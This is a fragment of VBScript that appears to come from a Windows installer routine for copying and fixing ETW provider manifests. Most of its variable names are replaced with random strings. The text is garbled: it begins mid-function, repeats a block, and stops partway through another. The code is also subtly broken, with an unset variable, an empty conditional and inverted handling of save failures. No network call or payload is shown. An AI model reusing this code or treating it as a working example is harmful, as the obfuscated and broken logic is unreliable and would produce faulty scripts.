' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")